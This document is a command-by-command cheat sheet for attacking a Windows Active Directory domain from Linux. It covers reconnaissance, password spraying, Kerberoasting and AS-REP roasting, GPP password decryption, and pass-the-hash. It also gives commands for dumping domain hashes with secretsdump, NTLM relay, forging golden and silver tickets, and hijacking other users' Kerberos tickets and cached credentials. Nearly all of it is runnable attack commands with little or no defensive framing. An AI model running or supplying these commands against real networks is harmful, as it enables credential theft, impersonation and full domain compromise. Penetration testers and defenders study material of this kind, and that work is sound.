Linux in Active Directory — Enumeration

# ==========================================
# IDENTIFY DC AND DOMAIN FROM NETWORK
# ==========================================

# Check /etc/resolv.conf (DNS server = likely DC)
cat /etc/resolv.conf
# nameserver 10.10.10.1 → This is your DC!

# Check /etc/hosts
cat /etc/hosts

# If domain-joined — realm/sssd shows domain info
realm list                        # Kerberos realm, DC info
cat /etc/sssd/sssd.conf           # SSSD config (DC, domain)
cat /etc/samba/smb.conf           # Samba config
cat /etc/krb5.conf                # Kerberos config (realm → DC mapping)

# ==========================================
# NETWORK DISCOVERY
# ==========================================

# Find DC via DNS SRV records
nslookup -type=SRV _ldap._tcp.corp.local
nslookup -type=SRV _kerberos._tcp.corp.local
nslookup -type=SRV _kpasswd._tcp.corp.local
nslookup -type=SRV _gc._tcp.corp.local          # Global Catalog

# dig version
dig SRV _ldap._tcp.corp.local
dig SRV _kerberos._tcp.corp.local
dig SRV _gc._tcp.corp.local

# Find all DCs
dig SRV _ldap._tcp.dc._msdcs.corp.local
dig SRV _kerberos._tcp.dc._msdcs.corp.local

# Get DC IP from hostname
nslookup DC01.corp.local
host DC01.corp.local

# Ping sweep (find live hosts in subnet)
for i in $(seq 1 254); do ping -c1 -W1 10.10.10.$i &>/dev/null && echo "10.10.10.$i"; done &

# Nmap ping sweep
nmap -sn 10.10.10.0/24

# ==========================================
# PORT SCAN DC
# ==========================================

# Quick DC port scan (key AD ports)
nmap -sV -p 53,88,135,139,389,443,445,464,636,3268,3269,5985,5986 10.10.10.1

# Full scan on DC
nmap -sV -sC -p- --min-rate 5000 10.10.10.1 -oA dc_scan

# Key ports on Domain Controller:
# 53   → DNS
# 88   → Kerberos
# 135  → MSRPC / WMI
# 139  → NetBIOS
# 389  → LDAP
# 445  → SMB
# 464  → Kerberos password change
# 636  → LDAPS (SSL)
# 3268 → Global Catalog LDAP
# 3269 → Global Catalog LDAPS
# 5985 → WinRM (HTTP)
# 5986 → WinRM (HTTPS)
# 9389 → Active Directory Web Services

# ==========================================
# BASIC DNS QUERIES
# ==========================================

# All DNS records for domain
dig any corp.local @DC_IP
nslookup -type=any corp.local DC_IP

# Find all DCs (NS records)
dig NS corp.local @DC_IP
nslookup -type=NS corp.local DC_IP

# SOA (Start of Authority — primary DC)
dig SOA corp.local @DC_IP

# Mail servers
dig MX corp.local @DC_IP

# Forward lookup — hostname to IP
host DC01.corp.local DC_IP
nslookup DC01.corp.local DC_IP

# Reverse lookup — IP to hostname
host 10.10.10.1 DC_IP
nslookup 10.10.10.1 DC_IP

# ==========================================
# ZONE TRANSFER (Critical — dumps entire DNS zone!)
# ==========================================

# Try zone transfer (axfr)
dig axfr corp.local @DC_IP
# If successful → complete list of ALL hosts in domain!

# nslookup version
nslookup
> server DC_IP
> ls -a corp.local
> ls -d corp.local

# ==========================================
# SRV RECORDS (Service Discovery)
# ==========================================

# All LDAP DCs
dig SRV _ldap._tcp.dc._msdcs.corp.local @DC_IP

# All Kerberos DCs
dig SRV _kerberos._tcp.dc._msdcs.corp.local @DC_IP

# Global Catalog servers
dig SRV _gc._tcp.corp.local @DC_IP
dig SRV _ldap._tcp.gc._msdcs.corp.local @DC_IP

# XMPP / other services
dig SRV _xmpp-server._tcp.corp.local @DC_IP

# ==========================================
# AUTOMATED DNS ENUM
# ==========================================

# dnsenum
dnsenum --dnsserver DC_IP --enum -p 0 -s 0 corp.local

# dnsrecon
dnsrecon -d corp.local -n DC_IP -t axfr       # Zone transfer
dnsrecon -d corp.local -n DC_IP -t std         # Standard enum
dnsrecon -d corp.local -n DC_IP -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# fierce
fierce --domain corp.local --dns-servers DC_IP

# ==========================================
# FIND HOSTS FROM DNS ZONE
# ==========================================

# If zone transfer works, parse output
dig axfr corp.local @DC_IP | grep -E "^\w" | awk '{print $1, $4}' | sort

# Reverse lookup range (find all hosts by IP)
for ip in $(seq 1 254); do
    result=$(host 10.10.10.$ip DC_IP 2>/dev/null | grep "domain name")
    [ -n "$result" ] && echo "10.10.10.$ip → $result"
done

# ==========================================
# NULL SESSION (No credentials)
# ==========================================

# List shares (null session)
smbclient -L //DC_IP -N
smbclient -L //DC_IP -U "" -N

# Connect to share (null session)
smbclient //DC_IP/NETLOGON -N
smbclient //DC_IP/SYSVOL -N

# smbmap (null session — show permissions)
smbmap -H DC_IP
smbmap -H DC_IP -u "" -p ""

# ==========================================
# WITH CREDENTIALS
# ==========================================

# List shares with creds
smbclient -L //DC_IP -U 'CORP\username%Password123!'
smbclient -L //DC_IP -U 'username' --password='Password123!'

# Connect to share
smbclient //DC_IP/SYSVOL -U 'CORP\username%Password123!'
smbclient //DC_IP/C$ -U 'CORP\Administrator%Password123!'

# smbmap with creds
smbmap -H DC_IP -u username -p 'Password123!' -d CORP
smbmap -H DC_IP -u username -p 'Password123!' -d CORP -R SYSVOL    # Recursive!
smbmap -H DC_IP -u username -H <NT_HASH> -d CORP                   # Pass-the-Hash!

# ==========================================
# SPIDER / DOWNLOAD SHARES
# ==========================================

# Spider all readable shares
smbmap -H DC_IP -u username -p 'Password123!' -d CORP --download 'SYSVOL\corp.local\Policies'

# Mount SMB share
mount -t cifs //DC_IP/SYSVOL /mnt/smb -o username=username,password=Password123!,domain=CORP

# smbclient download all files
smbclient //DC_IP/SYSVOL -U 'CORP\username%Password123!'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

# ==========================================
# LOOK FOR JUICY FILES IN SHARES
# ==========================================

# Mount and search
mount -t cifs //DC_IP/SYSVOL /mnt/smb -o username=username,password=Pass123!,domain=CORP
find /mnt/smb -name "*.xml" -o -name "*.ini" -o -name "*.config" -o -name "*.bat" -o -name "*.ps1" 2>/dev/null

# Common files to hunt:
# SYSVOL → Group Policy files (.xml → may have cpassword!)
# NETLOGON → Logon scripts (.bat, .ps1, .vbs → may have hardcoded creds)
# *.config, web.config → database creds
# *.ini → application configs
# *.txt → notes, passwords
# Unattend.xml, sysprep.inf → clear-text passwords!

# ==========================================
# GROUP POLICY PASSWORDS (GPP CVE-2014-1812)
# ==========================================

# SYSVOL\corp.local\Policies\*\Machine\Preferences\Groups\Groups.xml
# Contains cpassword = AES-256 encrypted password (but key is KNOWN!)

# Find cpassword in SYSVOL
grep -r "cpassword" /mnt/smb/
grep -r "cpassword" /mnt/smb/ 2>/dev/null | grep -v "^Binary"

# Decrypt GPP password (gpp-decrypt)
gpp-decrypt <CPASSWORD_VALUE>

# Impacket version
impacket-Get-GPPPassword -dc-ip DC_IP CORP/username:Password123!

# ==========================================
# NMAP SMB SCRIPTS
# ==========================================

# Enumerate SMB info
nmap --script smb-enum-domains,smb-enum-groups,smb-enum-sessions,smb-enum-shares,smb-enum-users -p 445 DC_IP

# SMB vulnerabilities
nmap --script smb-vuln-* -p 445 DC_IP

# SMB security mode
nmap --script smb-security-mode -p 445 DC_IP

# All SMB scripts at once
nmap --script "smb-*" -p 445 DC_IP

# ==========================================
# ANONYMOUS LDAP BIND (No Credentials)
# ==========================================

# Test anonymous LDAP bind
ldapsearch -H ldap://DC_IP -x -b "" -s base "(objectClass=*)" namingContexts
# → Shows base DN like: DC=corp,DC=local

# Get domain base info
ldapsearch -H ldap://DC_IP -x -b "DC=corp,DC=local" -s base "(objectClass=*)"

# ==========================================
# WITH CREDENTIALS
# ==========================================

# Basic authenticated LDAP query
ldapsearch -H ldap://DC_IP \
    -D "CN=username,CN=Users,DC=corp,DC=local" \
    -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=*)"

# Simpler auth (SIMPLE bind with user@domain)
ldapsearch -H ldap://DC_IP \
    -D "username@corp.local" \
    -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=*)"

# ==========================================
# ENUMERATE USERS
# ==========================================

# All users
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=user)" \
    sAMAccountName userPrincipalName memberOf

# All enabled users
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
    sAMAccountName

# Admin users
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(adminCount=1)" \
    sAMAccountName memberOf

# Users with SPN (Kerberoastable!)
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=user)(servicePrincipalName=*))" \
    sAMAccountName servicePrincipalName

# AS-REP Roastable users (no preauth required)
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
    sAMAccountName

# Users with password never expires
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
    sAMAccountName

# Users where password = username (description field check)
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=user)" \
    sAMAccountName description

# ==========================================
# ENUMERATE GROUPS
# ==========================================

# All groups
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=group)" \
    cn member

# Domain Admins group members
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=group)(cn=Domain Admins))" \
    member

# Enterprise Admins
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=group)(cn=Enterprise Admins))" \
    member

# Schema Admins
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=group)(cn=Schema Admins))" \
    member

# ==========================================
# ENUMERATE COMPUTERS
# ==========================================

# All computers
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=computer)" \
    name dNSHostName operatingSystem operatingSystemVersion

# Domain Controllers specifically
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" \
    name dNSHostName

# ==========================================
# ENUMERATE GPOs, OUs, TRUSTS
# ==========================================

# All OUs
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=organizationalUnit)" \
    ou name gPLink

# All GPOs
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=groupPolicyContainer)" \
    displayName gPCFileSysPath

# Domain Trusts
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=trustedDomain)" \
    name trustDirection trustType

# Password Policy
ldapsearch -H ldap://DC_IP -D "username@corp.local" -w 'Password123!' \
    -b "DC=corp,DC=local" \
    "(objectClass=domainDNS)" \
    minPwdLength maxPwdAge lockoutThreshold

# ==========================================
# WINDAPSEARCH (Faster ldapsearch wrapper)
# ==========================================

# Install
git clone https://github.com/ropnop/windapsearch.git

# Enumerate users
python3 windapsearch.py -d corp.local -u username@corp.local -p 'Password123!' -U

# Enumerate DA
python3 windapsearch.py -d corp.local -u username@corp.local -p 'Password123!' --da

# Enumerate computers
python3 windapsearch.py -d corp.local -u username@corp.local -p 'Password123!' -C

# Enumerate all groups
python3 windapsearch.py -d corp.local -u username@corp.local -p 'Password123!' -G

# Custom query
python3 windapsearch.py -d corp.local -u username@corp.local -p 'Password123!' \
    --custom "(objectClass=user)" --attrs sAMAccountName,memberOf

# ==========================================
# LDAP via NTLM Hash (Pass-the-Hash)
# ==========================================

# windapsearch with hash
python3 windapsearch.py -d corp.local -u username --nt-hash <NT_HASH> -U

# ldapsearch with Kerberos ticket (see Section 7)
KRB5CCNAME=ticket.ccache ldapsearch -H ldap://DC_IP -Y GSSAPI \
    -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

# ==========================================
# RPCCLIENT (Enumerate via MS-RPC)
# ==========================================

# NULL session
rpcclient -U "" -N DC_IP
rpcclient -U "%" DC_IP

# With credentials
rpcclient -U "username%Password123!" DC_IP
rpcclient -U "CORP/username%Password123!" DC_IP

# With hash (PTH)
rpcclient -U "username%<NT_HASH>" --pw-nt-hash DC_IP

# ==========================================
# RPCCLIENT COMMANDS (once connected)
# ==========================================

# --- Domain Info ---
rpcclient> querydominfo           # Domain info (name, users, groups, etc.)
rpcclient> lsaquery              # Policy info (domain SID!)
rpcclient> enumdomains           # All domains

# --- Users ---
rpcclient> enumdomusers          # ALL domain users (username + RID)
rpcclient> queryuser 0x1f4       # Query specific user by RID (0x1f4 = 500 = Administrator)
rpcclient> queryuser <RID>
rpcclient> getdompwinfo          # Password policy

# --- Groups ---
rpcclient> enumdomgroups         # All domain groups
rpcclient> querygroup <group_rid>
rpcclient> querygroupmem <group_rid>  # Group members

# --- Aliases (Local groups) ---
rpcclient> enumalsgroups domain
rpcclient> enumalsgroups builtin
rpcclient> queryaliasmem builtin 0x220    # Remote Desktop Users (0x220=544=Admins)

# --- Shares ---
rpcclient> netshareenum
rpcclient> netshareenumall

# --- LSA secrets ---
rpcclient> lsaenumsid           # All SIDs on the system
rpcclient> lookupsids S-1-5-21-XXXX-XXXX-XXXX-500  # Resolve SID to name
rpcclient> lookupnames Administrator  # Resolve name to SID

# --- Printers ---
rpcclient> enumprinters

# ==========================================
# SCRIPT: BRUTE RID CYCLING (Find all users by RID)
# ==========================================

# Even with NULL sessions — enumerate ALL users by cycling RIDs
for i in $(seq 500 1200); do
    rpcclient -U "" -N DC_IP -c "queryuser 0x$(printf '%x' $i)" 2>/dev/null | \
    grep "User Name" && echo "RID: $i"
done

# Automated RID brute
impacket-lookupsid CORP/username:Password123!@DC_IP
impacket-lookupsid anonymous@DC_IP    # Null session RID brute

# ==========================================
# MSRPC ENDPOINT MAPPER
# ==========================================

# List all RPC endpoints on DC
impacket-rpcdump DC_IP
impacket-rpcdump CORP/username:Password123!@DC_IP

# Check specific endpoints
nmap -p 135 --script msrpc-enum DC_IP

# ==========================================
# USER ENUMERATION VIA KERBEROS (No Creds!)
# ==========================================

# Kerbrute (fastest user enum — no logs on most configs!)
# Install: go install github.com/ropnop/kerbrute@latest
# OR: download from https://github.com/ropnop/kerbrute/releases

# Enumerate valid users (NO creds needed!)
kerbrute userenum -d corp.local \
    --dc DC_IP \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Enumerate users (custom wordlist)
kerbrute userenum -d corp.local --dc DC_IP users.txt

# Password spray (1 password against all users — avoid lockout!)
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Password123!'

# Brute single user
kerbrute bruteuser -d corp.local --dc DC_IP /usr/share/wordlists/rockyou.txt username

# ==========================================
# KERBEROS TICKET OPERATIONS (Domain-Joined Linux)
# ==========================================

# Check if Kerberos is configured
cat /etc/krb5.conf
klist                                 # List current Kerberos tickets

# Get TGT with kinit
kinit username@CORP.LOCAL             # Interactive password prompt
kinit username@CORP.LOCAL <<< "Password123!"  # Non-interactive

# List tickets
klist
klist -l                             # List credential caches
klist -e                             # Show encryption types

# ==========================================
# FIND EXISTING KERBEROS TICKETS ON DISK
# ==========================================

# Ticket cache locations
ls /tmp/krb5cc_*                     # User ccache files
ls /tmp/krb5*
ls /var/lib/sss/db/                  # SSSD cache
ls /etc/krb5.keytab                  # Machine keytab!
ls /etc/*.keytab
find / -name "*.ccache" 2>/dev/null
find / -name "*.keytab" 2>/dev/null
find / -name "ccache" 2>/dev/null

# ==========================================
# EXTRACT AND USE KEYTAB FILES
# ==========================================

# List keytab contents
klist -kte /etc/krb5.keytab
klist -kt /etc/krb5.keytab

# Use keytab to get TGT (no password needed!)
kinit -k -t /etc/krb5.keytab hostname$@CORP.LOCAL   # Machine account!
kinit -k -t /etc/krb5.keytab username@CORP.LOCAL

# ==========================================
# USE CCACHE TICKET (Ticket Reuse / Hijack)
# ==========================================

# If you find another user's ccache file
# → You can impersonate that user!

# Copy and use someone else's ticket
cp /tmp/krb5cc_1001 /tmp/krb5cc_attacker
export KRB5CCNAME=/tmp/krb5cc_attacker
klist                                # Verify you're using their ticket

# Now run Impacket/CME with their ticket (no password!)
KRB5CCNAME=/tmp/krb5cc_1001 impacket-smbclient DC_IP -k -no-pass
KRB5CCNAME=/tmp/krb5cc_1001 impacket-secretsdump -k -no-pass DC01.corp.local

# ==========================================
# SSSD CACHE — OFFLINE CREDENTIALS
# ==========================================

# SSSD caches domain user credentials (even offline)
ls -la /var/lib/sss/db/
# cache_corp.local.ldb → contains cached creds!

# Extract with tdbdump
tdbdump /var/lib/sss/db/cache_corp.local.ldb | grep -A5 "cachedPassword"

# Parse with sss_debuglevel or manually
strings /var/lib/sss/db/cache_corp.local.ldb | grep -i "password\|hash"

# ==========================================
# INSTALL
# ==========================================

pip3 install crackmapexec
# OR
apt install crackmapexec

# New version (NetExec — CME successor)
pip3 install netexec
# nxc = netexec command

# ==========================================
# SMB ENUMERATION
# ==========================================

# Check SMB signing + OS info (no creds)
crackmapexec smb DC_IP
crackmapexec smb 10.10.10.0/24       # Entire subnet!

# Test credentials
crackmapexec smb DC_IP -u username -p 'Password123!'
crackmapexec smb DC_IP -u username -H <NT_HASH>      # Pass-the-Hash!
crackmapexec smb DC_IP -u username -p 'Password123!' -d CORP

# List shares
crackmapexec smb DC_IP -u username -p 'Password123!' --shares

# Spider share for files
crackmapexec smb DC_IP -u username -p 'Password123!' --spider SYSVOL
crackmapexec smb DC_IP -u username -p 'Password123!' --spider C$ --pattern "*.txt"

# ==========================================
# ENUM USERS, GROUPS, SESSIONS
# ==========================================

# Enumerate users (RID brute — works null session too!)
crackmapexec smb DC_IP -u username -p 'Password123!' --users
crackmapexec smb DC_IP -u "" -p "" --users               # Null session

# Enumerate groups
crackmapexec smb DC_IP -u username -p 'Password123!' --groups

# Local admins on hosts
crackmapexec smb DC_IP -u username -p 'Password123!' --local-groups

# Active sessions (logged-in users)
crackmapexec smb DC_IP -u username -p 'Password123!' --sessions

# Logged-on users
crackmapexec smb DC_IP -u username -p 'Password123!' --loggedon-users

# Password policy
crackmapexec smb DC_IP -u username -p 'Password123!' --pass-pol

# Disks
crackmapexec smb DC_IP -u username -p 'Password123!' --disks

# ==========================================
# COMMAND EXECUTION
# ==========================================

# Execute command (if admin!)
crackmapexec smb DC_IP -u Administrator -p 'Password123!' -x "whoami"
crackmapexec smb DC_IP -u Administrator -p 'Password123!' -X "Get-ADUser -Filter *"   # PowerShell

# ==========================================
# LDAP ENUMERATION VIA CME
# ==========================================

# Enumerate via LDAP
crackmapexec ldap DC_IP -u username -p 'Password123!' -d CORP

# Get domain info
crackmapexec ldap DC_IP -u username -p 'Password123!' --get-sid

# AS-REP Roast (find no-preauth users)
crackmapexec ldap DC_IP -u username -p 'Password123!' --asreproast asrep_hashes.txt

# Kerberoast (find SPNs)
crackmapexec ldap DC_IP -u username -p 'Password123!' --kerberoasting kerb_hashes.txt

# Find LAPS passwords (if LAPS deployed)
crackmapexec ldap DC_IP -u username -p 'Password123!' --laps

# Find MachineAccountQuota
crackmapexec ldap DC_IP -u username -p 'Password123!' -M maq

# ==========================================
# WINRM ENUMERATION
# ==========================================

# Test WinRM access
crackmapexec winrm DC_IP -u username -p 'Password123!'
# → (Pwn3d!) = you have WinRM access = Evil-WinRM works!

# ==========================================
# PASSWORD SPRAYING
# ==========================================

# Spray one password against user list
crackmapexec smb DC_IP -u users.txt -p 'Password123!' --continue-on-success
crackmapexec smb DC_IP -u users.txt -p 'Password123!' -d CORP --continue-on-success

# Spray against subnet
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success

# Multiple passwords (careful — lockout!)
crackmapexec smb DC_IP -u users.txt -p passwords.txt --no-bruteforce   # 1 pass per user

# ==========================================
# CHECK LOCAL ADMIN ACCESS ACROSS NETWORK
# ==========================================

# Find all machines where creds work (and have admin!)
crackmapexec smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth

# ==========================================
# INSTALL
# ==========================================

pip3 install impacket
# OR use pre-installed Kali tools: impacket-*

# ==========================================
# SECRETSDUMP — Dump hashes / secrets
# ==========================================

# From DC (needs admin on DC!)
impacket-secretsdump CORP/Administrator:'Password123!'@DC_IP

# Using PTH
impacket-secretsdump CORP/Administrator@DC_IP -hashes :<NT_HASH>

# Using Kerberos ticket
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass DC01.corp.local

# Remote registry (from any domain machine, not just DC)
impacket-secretsdump CORP/username:'Password123!'@HOST_IP

# Local SAM dump (from local admin on machine)
impacket-secretsdump ./Administrator:'Password123!'@HOST_IP

# Just NTDS (domain hashes)
impacket-secretsdump CORP/Administrator:'Password123!'@DC_IP -just-dc

# Just NTLM hashes
impacket-secretsdump CORP/Administrator:'Password123!'@DC_IP -just-dc-ntlm

# ==========================================
# LOOKUPSID — RID brute (user enum)
# ==========================================

# Enumerate all users/groups by RID (null session OK!)
impacket-lookupsid anonymous@DC_IP                          # Null session
impacket-lookupsid CORP/username:'Password123!'@DC_IP       # Authenticated
impacket-lookupsid CORP/username@DC_IP -hashes :<NT_HASH>   # PTH

# ==========================================
# GETUSERSPNS — Kerberoasting
# ==========================================

# Find Kerberoastable accounts (SPNs)
impacket-GetUserSPNs CORP/username:'Password123!' -dc-ip DC_IP

# Request TGS hashes (to crack offline!)
impacket-GetUserSPNs CORP/username:'Password123!' -dc-ip DC_IP -request
impacket-GetUserSPNs CORP/username:'Password123!' -dc-ip DC_IP -request -outputfile kerb_hashes.txt

# Using PTH
impacket-GetUserSPNs CORP/username -hashes :<NT_HASH> -dc-ip DC_IP -request

# ==========================================
# GETNPUSERS — AS-REP Roasting
# ==========================================

# Find users with no Kerberos preauthentication (no creds needed!)
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -format hashcat

# With credentials (finds all vulnerable accounts automatically)
impacket-GetNPUsers CORP/username:'Password123!' -dc-ip DC_IP -request

# ==========================================
# PSEXEC / WMIEXEC / SMBEXEC — Command execution
# ==========================================

# PSExec (uploads and runs a service — loud!)
impacket-psexec CORP/Administrator:'Password123!'@HOST_IP
impacket-psexec CORP/Administrator@HOST_IP -hashes :<NT_HASH>

# WMIExec (uses WMI — stealthier, no service created)
impacket-wmiexec CORP/Administrator:'Password123!'@HOST_IP
impacket-wmiexec CORP/Administrator@HOST_IP -hashes :<NT_HASH>

# SMBExec (uses SMB — medium stealth)
impacket-smbexec CORP/Administrator:'Password123!'@HOST_IP

# ATEXEC (uses AT job)
impacket-atexec CORP/Administrator:'Password123!'@HOST_IP "whoami"

# ==========================================
# SMBCLIENT — SMB file operations
# ==========================================

impacket-smbclient CORP/username:'Password123!'@DC_IP
smb: \> shares
smb: \> use SYSVOL
smb: \> ls

# ==========================================
# NTLMRELAYX — NTLM Relay
# ==========================================

# Relay NTLM auth to another host (SMB signing disabled needed!)
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relay to LDAP (dump info!)
impacket-ntlmrelayx -t ldap://DC_IP -smb2support --dump-laps --dump-adcs

# Relay + interactive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i

# Combined with Responder:
# Terminal 1: sudo responder -I eth0 -dPv (disable SMB+HTTP in config!)
# Terminal 2: impacket-ntlmrelayx -tf targets.txt -smb2support

# ==========================================
# TICKETER — Forge Kerberos Tickets
# ==========================================

# Create Silver Ticket (service ticket)
impacket-ticketer -nthash <SERVICE_NTLM_HASH> -domain-sid <DOMAIN_SID> \
    -domain corp.local -spn cifs/target.corp.local username

# Create Golden Ticket (requires krbtgt hash!)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> \
    -domain corp.local -groups 512 username

# Use ticket
export KRB5CCNAME=username.ccache
impacket-psexec -k -no-pass corp.local/username@target.corp.local

# ==========================================
# RPCDUMP — RPC Endpoint enumeration
# ==========================================

impacket-rpcdump DC_IP
impacket-rpcdump CORP/username:'Password123!'@DC_IP

# ==========================================
# BLOODHOUND-PYTHON (Data Collection)
# ==========================================

# Install
pip3 install bloodhound
# OR
pip3 install bloodhound-python

# ==========================================
# COLLECT DATA
# ==========================================

# Full collection (all methods)
bloodhound-python -u username -p 'Password123!' \
    -d corp.local \
    -ns DC_IP \
    -c All

# Specific collection methods
bloodhound-python -u username -p 'Password123!' -d corp.local -ns DC_IP \
    -c DCOnly            # Only DC (fast)

bloodhound-python -u username -p 'Password123!' -d corp.local -ns DC_IP \
    -c Group,LocalAdmin,Session,Trusts   # Specific

# With hash (PTH)
bloodhound-python -u username --hashes :<NT_HASH> -d corp.local -ns DC_IP -c All

# Using Kerberos ticket
KRB5CCNAME=ticket.ccache bloodhound-python -u username \
    -d corp.local --kerberos -c All

# Output to specific directory
bloodhound-python -u username -p 'Password123!' -d corp.local -ns DC_IP \
    -c All --zip -o /tmp/bh_output/

# ==========================================
# SETUP BLOODHOUND (Neo4j Backend)
# ==========================================

# Start Neo4j
sudo neo4j start
# Browser: http://localhost:7474 → login neo4j:neo4j → change password

# Start BloodHound GUI
bloodhound

# Import collected JSON files
# GUI → Upload Data → Select ZIP or JSON files

# ==========================================
# KEY BLOODHOUND QUERIES (Pre-built)
# ==========================================

# In BloodHound GUI → Analysis tab:
# → Find all Domain Admins
# → Find Shortest Paths to Domain Admins
# → Find Principals with DCSync Rights
# → Find Computers where Domain Users are Local Admin
# → Find Kerberoastable Users
# → Find AS-REP Roastable Users
# → Find Domain Admin Sessions
# → Shortest Path from Owned Principals

# ==========================================
# CYPHER QUERIES (Manual)
# ==========================================

# Find Kerberoastable users with DA path
MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames

# Users with path to DA
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# Computers where domain users are local admin
MATCH (c:Computer) WHERE c.haslaps=false RETURN c.name, c.operatingsystem

# All owned attack paths
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# ACL abuse paths
MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(t) RETURN u.name, type(r), t.name

# Unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation: true}) RETURN c.name

# ==========================================
# ENUM4LINUX (Classic)
# ==========================================

# Full enumeration (null session)
enum4linux -a DC_IP

# With credentials
enum4linux -a -u username -p 'Password123!' DC_IP

# Specific enum
enum4linux -U DC_IP                   # Users
enum4linux -G DC_IP                   # Groups
enum4linux -S DC_IP                   # Shares
enum4linux -P DC_IP                   # Password policy
enum4linux -r DC_IP                   # RID brute
enum4linux -o DC_IP                   # OS info

# ==========================================
# ENUM4LINUX-NG (Modern rewrite — better output)
# ==========================================

# Install
pip3 install enum4linux-ng
# OR
git clone https://github.com/cddmp/enum4linux-ng.git

# Full enum
enum4linux-ng DC_IP
enum4linux-ng -A DC_IP                 # All

# With credentials
enum4linux-ng -u username -p 'Password123!' DC_IP

# Output as YAML / JSON
enum4linux-ng -A DC_IP -oY output.yaml
enum4linux-ng -A DC_IP -oJ output.json

# Specific
enum4linux-ng -U DC_IP                 # Users only
enum4linux-ng -G DC_IP                 # Groups only
enum4linux-ng -S DC_IP                 # Shares only
enum4linux-ng -P DC_IP                 # Password policy

# ==========================================
# NULLINUX (alternative)
# ==========================================

nullinux DC_IP
nullinux -u username -p 'Password123!' DC_IP

# ==========================================
# IDENTIFY DOMAIN MEMBERSHIP
# ==========================================

realm list                            # Shows domain, DC, configured auth
cat /etc/sssd/sssd.conf               # SSSD config → domain, DC, services
cat /etc/krb5.conf                    # Kerberos → realm → DC mapping
cat /etc/samba/smb.conf               # Samba config → workgroup, realm
cat /etc/pam.d/common-auth            # PAM → shows SSSD / winbind usage

# ==========================================
# ENUMERATE LOCAL DOMAIN USERS
# ==========================================

# List all users (including domain users!)
getent passwd                         # All users including domain
getent passwd | grep -v "nologin\|false"  # Users with shell
id username@corp.local                # Domain user info
id 'CORP\username'                    # With NetBIOS format

# Domain groups
getent group                          # All groups including domain
getent group "domain admins"

# Whoami full info
id
whoami

# ==========================================
# SSSD CACHE — FIND CACHED CREDENTIALS
# ==========================================

ls -la /var/lib/sss/db/
file /var/lib/sss/db/*

# LDB files (SSSD database)
# cache_<domain>.ldb → user info + cached password hashes!
ldbsearch -H /var/lib/sss/db/cache_corp.local.ldb -b "" "(objectClass=user)"

# Find cached password entries
strings /var/lib/sss/db/cache_corp.local.ldb | grep -i "hash\|password\|shadow"
tdbdump /var/lib/sss/db/sssd.ldb 2>/dev/null | grep -i password

# ==========================================
# KERBEROS TICKET HUNTING (High Value!)
# ==========================================

# List current tickets
klist

# Find all ccache files (other users' tickets!)
ls /tmp/krb5cc_*
find / -name "*.ccache" 2>/dev/null
find /var/lib/sss/db/ -name "*.ccache" 2>/dev/null

# Find keytab files (machine account + service creds!)
find / -name "*.keytab" 2>/dev/null
ls /etc/krb5.keytab                   # Machine account keytab
ls /etc/*.keytab
ls /var/lib/sss/

# Machine account keytab → allows impersonation of machine!
klist -kte /etc/krb5.keytab           # Show keytab contents (needs root)

# If you have root → use machine keytab for DCSync!
